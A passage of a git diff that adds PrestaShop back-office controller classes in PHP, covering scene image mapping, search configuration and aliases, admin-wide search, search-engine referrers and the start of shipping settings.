<>;=#{}' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ), + ), + ); + $this->fields_form = $fields_form; + + $image_to_map_desc = ''; + $image_to_map_desc .= $this->l('Format:').' JPG, GIF, PNG. '.$this->l('File size:').' ' + .(Tools::getMaxUploadSize() / 1024).''.$this->l('Kb max.').' ' + .sprintf($this->l('If an image is too large, it will be reduced to %1$d x %2$dpx (width x height).'), + $large_scene_image_type['width'], $large_scene_image_type['height']) + .$this->l('If an image is deemed too small, a white background will be added in order to achieve the correct image size.').'<br />'. + $this->l('Note: To change image dimensions, please change the \'large_scene\' image type settings to the desired size (in Back Office > Preferences > Images).'); + if ($obj->id && file_exists(_PS_SCENE_IMG_DIR_.$obj->id.'-scene_default.jpg')) + { + $this->addJqueryPlugin('autocomplete'); + $this->addJqueryPlugin('imgareaselect'); + $this->addJs(_PS_JS_DIR_.'admin-scene-cropping.js' ); + $image_to_map_desc .= '<br /><img id="large_scene_image" alt="" src="'. + _THEME_SCENE_DIR_.$obj->id.'-scene_default.jpg" /><br />'; + + $image_to_map_desc .= ' + <div id="ajax_choose_product" style="display:none; padding:6px; padding-top:2px; width:600px;"> + '.$this->l('Begin typing the first few letters of the product name, then select the product you are looking for from the drop-down list:').' + <br /><input type="text" value="" id="product_autocomplete_input" /> + <input type="button" class="button" value="'.$this->l('OK').'" onclick="$(this).prev().search();" /> + <input type="button" class="button" value="'.$this->l('Delete').'" onclick="undoEdit();" /> + </div> + '; + + if ($obj->id && file_exists(_PS_SCENE_IMG_DIR_.'thumbs/'.$obj->id.'-thumb_scene.jpg')) + $image_to_map_desc .= '<br/> + <img id="large_scene_image" style="clear:both;border:1px solid black;" alt="" src="'._THEME_SCENE_DIR_.'thumbs/'.$obj->id.'-m_scene_default.jpg" /> + <br />'; + + $img_alt_desc = ''; + $img_alt_desc .= $this->l('If you want to use a thumbnail other than one generated from simply reducing the mapped image, please upload it here.') + .'<br />'.$this->l('Format:').' JPG, GIF, PNG. ' + .$this->l('File size:').' '.(Tools::getMaxUploadSize() / 1024).''.$this->l('Kb max.').' ' + .sprintf($this->l('Automatically resized to %1$d x %2$dpx (width x height).'), + $thumb_scene_image_type['width'], $thumb_scene_image_type['height']).'.<br />' + .$this->l('Note: To change image dimensions, please change the \'thumb_scene\' image type settings to the desired size (in Back Office > Preferences > Images).'); + + $input_img_alt = array( + 'type' => 'file', + 'label' => $this->l('Alternative thumbnail:'), + 'name' => 'thumb', + 'desc' => $img_alt_desc + ); + + $selected_cat = array(); + if (Tools::isSubmit('categories')) + foreach (Tools::getValue('categories') as $row) + $selected_cat[] = $row; + else if ($obj->id) + foreach (Scene::getIndexedCategories($obj->id) as $row) + $selected_cat[] = $row['id_category']; + + $root_category = Category::getRootCategory(); + if (!$root_category->id) + { + $root_category->id = 0; + $root_category->name = $this->l('Root'); + } + $root_category = array('id_category' => (int)$root_category->id, 'name' => $root_category->name); + $trads = array( + 'Root' => $root_category, + 'selected' => $this->l('Selected'), + 'Check all' => $this->l('Check all'), + 'Check All' => $this->l('Check All'), + 'Uncheck All' => $this->l('Uncheck All'), + 'Collapse All' => $this->l('Collapse All'), + 'Expand All' => $this->l('Expand All'), + 'search' => $this->l('Search a category') + + ); + $this->fields_form['input'][] = array( + 'type' => 'categories', + 'label' => $this->l('Categories'), + 'name' => 'categories', + 'values' => array('trads' => $trads, + 'selected_cat' => $selected_cat, + 'input_name' => 'categories[]', + 'use_radio' => false, + 'use_search' => true, + 'disabled_categories' => array(4), + 'top_category' => Category::getTopCategory(), + 'use_context' => true, + ) + ); + } + else + $image_to_map_desc .= '<br/><span class="bold">'.$this->l('Please add a picture to continue mapping the image.').'</span><br/><br/>'; + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['input'][] = array( + 'type' => 'file', + 'label' => $this->l('Image to be mapped:'), + 'name' => 'image', + 'display_image' => true, + 'desc' => $image_to_map_desc, + ); + + if (isset($input_img_alt)) + $this->fields_form['input'][] = $input_img_alt; + } + + public function postProcess() + { + if (Tools::isSubmit('save_image_map')) + { + if (!Tools::isSubmit('categories') || !count(Tools::getValue('categories'))) + $this->errors[] = Tools::displayError('You should select at least one category.'); + if (!Tools::isSubmit('zones') || !count(Tools::getValue('zones'))) + $this->errors[] = Tools::displayError('You should create at least one zone.'); + } + + parent::postProcess(); + } +} + + diff --git a/controllers/admin/AdminSearchConfController.php b/controllers/admin/AdminSearchConfController.php new file mode 100755 index 0000000..fa63f3b --- /dev/null +++ b/controllers/admin/AdminSearchConfController.php @@ -0,0 +1,292 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminSearchConfControllerCore extends AdminController +{ + protected $toolbar_scroll = false; + + public function __construct() + { + $this->table = 'alias'; + $this->className = 'Alias'; + $this->lang = false; + + parent::__construct(); + + // Alias fields + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'alias' => array('title' => $this->l('Aliases'), 'width' => 'auto'), + 'search' => array('title' => $this->l('Search'), 'width' => 100), + 'active' => array('title' => $this->l('Status'), 'width' => 25, 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false) + ); + + // Search options + $current_file_name = array_reverse(explode('/', $_SERVER['SCRIPT_NAME'])); + $cron_url = Tools::getHttpHost(true, true).__PS_BASE_URI__. + substr($_SERVER['SCRIPT_NAME'], strlen(__PS_BASE_URI__), -strlen($current_file_name['0'])). + 'searchcron.php?full=1&token='.substr(_COOKIE_KEY_, 34, 8); + list($total, $indexed) = Db::getInstance()->getRow('SELECT COUNT(*) as "0", SUM(product_shop.indexed) as "1" FROM '._DB_PREFIX_.'product p '.Shop::addSqlAssociation('product', 'p')); + + $this->fields_options = array( + 'indexation' => array( + 'title' => $this->l('Indexation'), + 'icon' => 'search', + 'info' => + $this->l('The "indexed" products have been analyzed by PrestaShop and will appear in the results of a Front Office search.').'<br /> + '.$this->l('Indexed products').' <b>'.(int)$indexed.' / '.(int)$total.'</b>. + </p> + <p>'.$this->l('Building the product index may take a few minutes.') + .$this->l('If your server stops before the process ends, you can resume the indexation by clicking "Add missing products."').'</p> + -> <a href="searchcron.php?token='.substr(_COOKIE_KEY_, 34, 8).'&redirect=1" class="bold">'. + $this->l('Add missing products to the index.').'</a><br /> + -> <a href="searchcron.php?full=1&token='.substr(_COOKIE_KEY_, 34, 8).'&redirect=1" class="bold">'. + $this->l('Re-build the entire index.').'</a><br /><br /> + '.$this->l('You can set a cron job that will rebuild your index using the following URL:').' <a href="'.$cron_url.'">'.$cron_url.'</a>', + 'fields' => array( + 'PS_SEARCH_INDEXATION' => array( + 'title' => $this->l('Indexation'), + 'validation' => 'isBool', + 'type' => 'bool', + 'cast' => 'intval', + 'desc' => $this->l('Enable the automatic indexation of products. If you enable this feature, the products will be indexed in the search automatically when they are saved. If the feature is disabled, you will have to index products manually by using the links provided in the field set.') + ) + ) + ), + 'search' => array( + 'title' => $this->l('Search'), + 'icon' => 'search', + 'fields' => array( + 'PS_SEARCH_AJAX' => array( + 'title' => $this->l('Ajax search'), + 'validation' => 'isBool', + 'type' => 'bool', + 'cast' => 'intval', + 'desc' => $this->l('Enable ajax search for your visitors.').'<br />'. + $this->l('With ajax search, the first 10 products matching the user query will appear in real time below the input field.')), + 'PS_INSTANT_SEARCH' => array( + 'title' => $this->l('Instant search'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'desc' => $this->l('Enable instant search for your visitors?').'<br />'. + $this->l('With instant search, the results will appear immediately as the user writes a query.')), + 'PS_SEARCH_MINWORDLEN' => array( + 'title' => $this->l('Minimum word length (in characters)'), + 'desc' => $this->l('Only words this size or larger will be indexed.'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_BLACKLIST' => array( + 'title' => $this->l('Blacklisted words'), + 'size' => 35, + 'validation' => 'isGenericName', + 'desc' => $this->l('Please enter the index words separated by a "|".'), + 'type' => 'textLang' + ) + ), + 'submit' => array() + ), + 'relevance' => array( + 'title' => $this->l('Weight'), + 'icon' => 'weight', + 'info' => + $this->l('The "weight" represents its importance and relevance for the ranking of the products when completing a new search.').'<br /> + '.$this->l('A word with a weight of eight will have four times more value than a word with a weight of two.').'<br /><br /> + '.$this->l('We advise you to set a greater weight for words which appear in the name or reference of a product. This will allow the search results to be as precise and relevant as possible.'), + 'fields' => array( + 'PS_SEARCH_WEIGHT_PNAME' => array( + 'title' => $this->l('Product name weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_REF' => array( + 'title' => $this->l('Reference weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_SHORTDESC' => array( + 'title' => $this->l('Short description weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_DESC' => array( + 'title' => $this->l('Description weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_CNAME' => array( + 'title' => $this->l('Category weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_MNAME' => array( + 'title' => $this->l('Manufacturer weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_TAG' => array( + 'title' => $this->l('Tags weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_ATTRIBUTE' => array( + 'title' => $this->l('Attributes weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_SEARCH_WEIGHT_FEATURE' => array( + 'title' => $this->l('Features weight'), + 'size' => 4, + 'validation' => 'isUnsignedInt', + 'type' => 'text', + 'cast' => 'intval' + ) + ) + ), + ); + } + + public function initProcess() + { + parent::initProcess(); + // This is a composite page, we don't want the "options" display mode + if ($this->display == 'options') + $this->display = ''; + } + + /** + * Function used to render the options for this controller + */ + public function renderOptions() + { + if ($this->fields_options && is_array($this->fields_options)) + { + $helper = new HelperOptions($this); + $this->setHelperDisplay($helper); + $helper->toolbar_scroll = true; + $helper->toolbar_btn = array('save' => array( + 'href' => '#', + 'desc' => $this->l('Save') + )); + $helper->id = $this->id; + $helper->tpl_vars = $this->tpl_option_vars; + $options = $helper->generateOptions($this->fields_options); + + return $options; + } + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Aliases'), + 'image' => '../img/admin/search.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Alias:'), + 'name' => 'alias', + 'size' => 40, + 'required' => true, + 'desc' => array( + $this->l('Enter each alias separated by a comma (e.g. \'prestshop,preztashop,prestasohp\')'), + $this->l('Forbidden characters: <>;=#{}') + ) + ), + array( + 'type' => 'text', + 'label' => $this->l('Result:'), + 'name' => 'search', + 'size' => 15, + 'required' => true, + 'desc' => $this->l('Search this word instead.') + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + $this->fields_value = array('alias' => $this->object->getAliases()); + + return parent::renderForm(); + } + + public function processSave() + { + $search = strval(Tools::getValue('search')); + $string = strval(Tools::getValue('alias')); + $aliases = explode(',', $string); + if (empty($search) || empty($string)) + $this->errors[] = $this->l('Aliases and results are both required.'); + if (!Validate::isValidSearch($search)) + $this->errors[] = $search.' '.$this->l('Is not a valid result'); + foreach ($aliases as $alias) + if (!Validate::isValidSearch($alias)) + $this->errors[] = $alias.' '.$this->l('Is not a valid alias'); + + if (!count($this->errors)) + { + foreach ($aliases as $alias) + { + $obj = new Alias(null, trim($alias), trim($search)); + $obj->save(); + } + } + + if (empty($this->errors)) + $this->confirmations[] = $this->l('Creation successful'); + } +} diff --git a/controllers/admin/AdminSearchController.php b/controllers/admin/AdminSearchController.php new file mode 100755 index 0000000..03a993c --- /dev/null +++ b/controllers/admin/AdminSearchController.php @@ -0,0 +1,397 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminSearchControllerCore extends AdminController +{ + public function postProcess() + { + $this->context = Context::getContext(); + $this->query = trim(Tools::getValue('bo_query')); + $searchType = (int)Tools::getValue('bo_search_type'); + /* Handle empty search field */ + if (empty($this->query)) + { + $this->errors[] = Tools::displayError('Please complete the search form first.'); + return; + } + else + { + if (!$searchType && strlen($this->query) > 1) + $this->searchFeatures(); + + /* Product research */ + if (!$searchType || $searchType == 1) + { + /* Handle product ID */ + if ($searchType == 1 && (int)$this->query && Validate::isUnsignedInt((int)$this->query)) + if (($product = new Product($this->query)) && Validate::isLoadedObject($product)) + Tools::redirectAdmin('index.php?tab=AdminProducts&id_product='.(int)($product->id).'&addproduct'.'&token='.Tools::getAdminTokenLite('AdminProducts')); + + /* Normal catalog search */ + $this->searchCatalog(); + } + + /* Customer */ + if (!$searchType || $searchType == 2 || $searchType == 6) + { + if (!$searchType || $searchType == 2) + { + /* Handle customer ID */ + if ($searchType && (int)$this->query && Validate::isUnsignedInt((int)$this->query)) + if (($customer = new Customer($this->query)) && Validate::isLoadedObject($customer)) + Tools::redirectAdmin('index.php?tab=AdminCustomers&id_customer='.(int)$customer->id.'&viewcustomer'.'&token='.Tools::getAdminToken('AdminCustomers'.(int)Tab::getIdFromClassName('AdminCustomers').(int)$this->context->employee->id)); + + /* Normal customer search */ + $this->searchCustomer(); + } + + if ($searchType == 6) + $this->searchIP(); + } + + /* Order */ + if (!$searchType || $searchType == 3) + { + if (Validate::isUnsignedInt(trim($this->query)) && (int)$this->query && ($order = new Order((int)$this->query)) && Validate::isLoadedObject($order)) + { + if ($searchType == 3) + Tools::redirectAdmin('index.php?tab=AdminOrders&id_order='.(int)$order->id.'&vieworder'.'&token='.Tools::getAdminTokenLite('AdminOrders')); + else + { + $row = get_object_vars($order); + $row['id_order'] = $row['id']; + $customer = $order->getCustomer(); + $row['customer'] = $customer->firstname.' '.$customer->lastname; + $order_state = $order->getCurrentOrderState(); + $row['osname'] = $order_state->name[$this->context->language->id]; + $this->_list['orders'] = array($row); + } + } + else + { + $orders = Order::getByReference($this->query); + $nb_orders = count($orders); + if ($nb_orders == 1 && $searchType == 3) + Tools::redirectAdmin('index.php?tab=AdminOrders&id_order='.(int)$orders[0]->id.'&vieworder'.'&token='.Tools::getAdminTokenLite('AdminOrders')); + elseif ($nb_orders) + { + $this->_list['orders'] = array(); + foreach ($orders as $order) + { + $row = get_object_vars($order); + $row['id_order'] = $row['id']; + $customer = $order->getCustomer(); + $row['customer'] = $customer->firstname.' '.$customer->lastname; + $order_state = $order->getCurrentOrderState(); + $row['osname'] = $order_state->name[$this->context->language->id]; + $this->_list['orders'][] = $row; + } + } + elseif ($searchType == 3) + $this->errors[] = Tools::displayError('No order was found with this ID:').' '.Tools::htmlentitiesUTF8($this->query); + } + } + + /* Invoices */ + if ($searchType == 4) + { + if ((int)$this->query && Validate::isUnsignedInt((int)$this->query) && ($invoice = Order::getInvoice((int)$this->query))) + Tools::redirectAdmin($this->context->link->getAdminLink('AdminPdf').'&submitAction=generateInvoicePDF&id_order='.(int)($invoice['id_order'])); + $this->errors[] = Tools::displayError('No invoice was found with this ID:').' '.Tools::htmlentitiesUTF8($this->query); + } + + /* Cart */ + if ($searchType == 5) + { + if ((int)$this->query && Validate::isUnsignedInt((int)$this->query) && ($cart = new Cart($this->query)) && Validate::isLoadedObject($cart)) + Tools::redirectAdmin('index.php?tab=AdminCarts&id_cart='.(int)($cart->id).'&viewcart'.'&token='.Tools::getAdminToken('AdminCarts'.(int)(Tab::getIdFromClassName('AdminCarts')).(int)$this->context->employee->id)); + $this->errors[] = Tools::displayError('No cart was found with this ID:').' '.Tools::htmlentitiesUTF8($this->query); + } + /* IP */ + // 6 - but it is included in the customer block + + /* Module search */ + if (!$searchType || $searchType == 7) + { + /* Handle module name */ + if ($searchType == 7 && Validate::isModuleName($this->query) AND ($module = Module::getInstanceByName($this->query)) && Validate::isLoadedObject($module)) + Tools::redirectAdmin('index.php?tab=AdminModules&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name).'&token='.Tools::getAdminTokenLite('AdminModules')); + + /* Normal catalog search */ + $this->searchModule(); + } + } + $this->display = 'view'; + } + + + public function searchIP() + { + if (!ip2long(trim($this->query))) + { + $this->errors[] = Tools::displayError('This is not a valid IP address:').' '.Tools::htmlentitiesUTF8($this->query); + return; + } + $this->_list['customers'] = Customer::searchByIp($this->query); + } + + /** + * Search a specific string in the products and categories + * + * @params string $query String to find in the catalog + */ + public function searchCatalog() + { + $this->context = Context::getContext(); + $this->_list['products'] = Product::searchByName($this->context->language->id, $this->query); + $this->_list['categories'] = Category::searchByName($this->context->language->id, $this->query); + } + + /** + * Search a specific name in the customers + * + * @params string $query String to find in the catalog + */ + public function searchCustomer() + { + $this->_list['customers'] = Customer::searchByName($this->query); + } + + public function searchModule() + { + $this->_list['modules'] = array(); + $all_modules = Module::getModulesOnDisk(true, true, Context::getContext()->employee->id); + foreach ($all_modules as $module) + if (stripos($module->name, $this->query) !== false || stripos($module->displayName, $this->query) !== false || stripos($module->description, $this->query) !== false) + { + $module->linkto = 'index.php?tab=AdminModules&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name).'&token='.Tools::getAdminTokenLite('AdminModules'); + $this->_list['modules'][] = $module; + } + } + + /** + * Search a feature in all store + * + * @params string $query String to find in the catalog + */ + public function searchFeatures() + { + global $_LANGADM; + $tabs = array(); + $key_match = array(); + $result = Db::getInstance()->executeS(' + SELECT class_name, name + FROM '._DB_PREFIX_.'tab t + INNER JOIN '._DB_PREFIX_.'tab_lang tl ON (t.id_tab = tl.id_tab AND tl.id_lang = '.(int)$this->context->language->id.') + WHERE active = 1'); + foreach ($result as $row) + { + $tabs[strtolower($row['class_name'])] = $row['name']; + $key_match[strtolower($row['class_name'])] = $row['class_name']; + } + foreach (AdminTab::$tabParenting as $key => $value) + { + $value = stripslashes($value); + $tabs[strtolower($key)] = $tabs[strtolower($value)]; + $key_match[strtolower($key)] = $key; + } + $this->_list['features'] = array(); + foreach ($_LANGADM as $key => $value) + { + if (stripos($value, $this->query) !== false) + { + $value = stripslashes($value); + $key = strtolower(substr($key, 0, -32)); + if (in_array($key, array('AdminTab', 'index'))) + continue; + // if class name doesn't exists, just ignore it + if (!isset($tabs[$key])) + continue; + if (!isset($this->_list['features'][$tabs[$key]])) + $this->_list['features'][$tabs[$key]] = array(); + $this->_list['features'][$tabs[$key]][] = array('link' => Context::getContext()->link->getAdminLink($key_match[$key]), 'value' => Tools::safeOutput($value)); + } + } + + if (!count($this->_list['features'])) + $this->_list['features'] = false; + else + $this->_list['features']; + } + + protected function initOrderList() + { + $this->fields_list['orders'] = array( + 'reference' => array('title' => $this->l('Reference'), 'align' => 'center', 'width' => 65), + 'id_order' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'customer' => array('title' => $this->l('Customer')), + 'total_paid_tax_incl' => array('title' => $this->l('Total'), 'width' => 70, 'align' => 'right', 'type' => 'price', 'currency' => true), + 'payment' => array( 'title' => $this->l('Payment'), 'width' => 100), + 'osname' => array('title' => $this->l('Status'), 'width' => 280), + 'date_add' => array('title' => $this->l('Date'), 'width' => 130, 'align' => 'right', 'type' => 'datetime'), + ); + } + + protected function initCustomerList() + { + $genders_icon = array('default' => 'unknown.gif'); + $genders = array(0 => $this->l('?')); + foreach (Gender::getGenders() as $gender) + { + $genders_icon[$gender->id] = '../genders/'.(int)$gender->id.'.jpg'; + $genders[$gender->id] = $gender->name; + } + $this->fields_list['customers'] = (array( + 'id_customer' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'id_gender' => array('title' => $this->l('Titles'), 'align' => 'center', 'icon' => $genders_icon, 'list' => $genders, 'width' => 25), + 'firstname' => array('title' => $this->l('First Name'), 'align' => 'left', 'width' => 150), + 'lastname' => array('title' => $this->l('Name'), 'align' => 'left', 'width' => 'auto'), + 'email' => array('title' => $this->l('Email address'), 'align' => 'left', 'width' => 250), + 'birthday' => array('title' => $this->l('Birth date'), 'align' => 'center', 'type' => 'date', 'width' => 75), + 'date_add' => array('title' => $this->l('Registration date'), 'align' => 'center', 'type' => 'date', 'width' => 75), + 'orders' => array('title' => $this->l('Orders'), 'align' => 'center', 'width' => 50), + 'active' => array('title' => $this->l('Enabled'),'align' => 'center','active' => 'status','type' => 'bool', 'width' => 25), + )); + } + + protected function initProductList() + { + $this->show_toolbar = false; + $this->fields_list['products'] = array( + 'id_product' => array('title' => $this->l('ID'), 'width' => 25), + 'manufacturer_name' => array('title' => $this->l('Manufacturer'), 'align' => 'center', 'width' => 200), + 'reference' => array('title' => $this->l('Reference'), 'align' => 'center', 'width' => 150), + 'name' => array('title' => $this->l('Name'), 'width' => 'auto'), + 'price_tax_excl' => array('title' => $this->l('Price (tax excl.)'), 'align' => 'right', 'type' => 'price', 'width' => 60), + 'price_tax_incl' => array('title' => $this->l('Price (tax incl.)'), 'align' => 'right', 'type' => 'price', 'width' => 60), + 'active' => array('title' => $this->l('Active'), 'width' => 70, 'active' => 'status', 'align' => 'center', 'type' => 'bool') + ); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryPlugin('highlight'); + } + + /* Override because we don't want any buttons */ + public function initToolbar() + { + } + + public function initToolbarTitle() + { + $this->toolbar_title = $this->l('Search results'); + } + + public function renderView() + { + $this->tpl_view_vars['query'] = Tools::safeOutput($this->query); + $this->tpl_view_vars['show_toolbar'] = true; + + if (count($this->errors)) + return parent::renderView(); + else + { + if (isset($this->_list['features'])) + $this->tpl_view_vars['features'] = $this->_list['features']; + if (isset($this->_list['categories'])) + { + $categories = array(); + foreach ($this->_list['categories'] as $category) + $categories[] = getPath($this->context->link->getAdminLink('AdminCategories', false), $category['id_category']); + $this->tpl_view_vars['categories'] = $categories; + } + if (isset($this->_list['products'])) + { + $view = ''; + $this->initProductList(); + + $helper = new HelperList(); + $helper->shopLinkType = ''; + $helper->simple_header = true; + $helper->identifier = 'id_product'; + $helper->actions = array('edit'); + $helper->show_toolbar = false; + $helper->table = 'product'; + $helper->currentIndex = $this->context->link->getAdminLink('AdminProducts', false); + $helper->token = Tools::getAdminTokenLite('AdminProducts'); + + if ($this->_list['products']) + $view = $helper->generateList($this->_list['products'], $this->fields_list['products']); + + $this->tpl_view_vars['products'] = $view; + } + if (isset($this->_list['customers'])) + { + $view = ''; + $this->initCustomerList(); + + $helper = new HelperList(); + $helper->shopLinkType = ''; + $helper->simple_header = true; + $helper->identifier = 'id_customer'; + $helper->actions = array('edit', 'view'); + $helper->show_toolbar = false; + $helper->table = 'customer'; + $helper->currentIndex = $this->context->link->getAdminLink('AdminCustomers', false); + $helper->token = Tools::getAdminTokenLite('AdminCustomers'); + + if ($this->_list['customers']) + { + foreach ($this->_list['customers'] as $key => $val) + $this->_list['customers'][$key]['orders'] = Order::getCustomerNbOrders((int)$val['id_customer']); + $view = $helper->generateList($this->_list['customers'], $this->fields_list['customers']); + } + $this->tpl_view_vars['customers'] = $view; + } + if (isset($this->_list['orders'])) + { + $view = ''; + $this->initOrderList(); + + $helper = new HelperList(); + $helper->shopLinkType = ''; + $helper->simple_header = true; + $helper->identifier = 'id_order'; + $helper->actions = array('view'); + $helper->show_toolbar = false; + $helper->table = 'order'; + $helper->currentIndex = $this->context->link->getAdminLink('AdminOrders', false); + $helper->token = Tools::getAdminTokenLite('AdminOrders'); + + if ($this->_list['orders']) + $view = $helper->generateList($this->_list['orders'], $this->fields_list['orders']); + $this->tpl_view_vars['orders'] = $view; + } + + if (isset($this->_list['modules'])) + $this->tpl_view_vars['modules'] = $this->_list['modules']; + + return parent::renderView(); + } + } +} diff --git a/controllers/admin/AdminSearchEnginesController.php b/controllers/admin/AdminSearchEnginesController.php new file mode 100755 index 0000000..071d7ac --- /dev/null +++ b/controllers/admin/AdminSearchEnginesController.php @@ -0,0 +1,82 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminSearchEnginesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'search_engine'; + $this->className = 'SearchEngine'; + $this->lang = false; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_search_engine' => array('title' => $this->l('ID'), 'width' => 25), + 'server' => array('title' => $this->l('Server')), + 'getvar' => array('title' => $this->l('GET variable'), 'width' => 100) + ); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Referrer') + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Server:'), + 'name' => 'server', + 'size' => 20, + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('$_GET variable:'), + 'name' => 'getvar', + 'size' => 40, + 'required' => true + ) + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + parent::__construct(); + } + +} + + diff --git a/controllers/admin/AdminShippingController.php b/controllers/admin/AdminShippingController.php new file mode 100755 index 0000000..7d804b0 --- /dev/null +++ b/controllers/admin/AdminShippingController.php @@ -0,0 +1,203 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminShippingControllerCore extends AdminController +{ + protected $_fieldsHandling; + + public function __construct() + { + parent::__construct(); + $this->table = 'delivery'; + + $carriers = Carrier::getCarriers($this->context->language->id, true, false, false, null, Carrier::PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE); + foreach ($carriers as $key => $carrier) + if ($carrier['is_free']) + unset($carriers[$key]); + + $this->fields_options = array( + 'handling' => array( + 'title' => $this->l('Handling'), + 'icon' => 'delivery', + 'fields' => array( + 'PS_SHIPPING_HANDLING' => array( + 'title' => $this->l('Handling charges'), + 'suffix' => $this->context->currency->getSign().' '.$this->l('(tax excl.)'), + 'cast' => 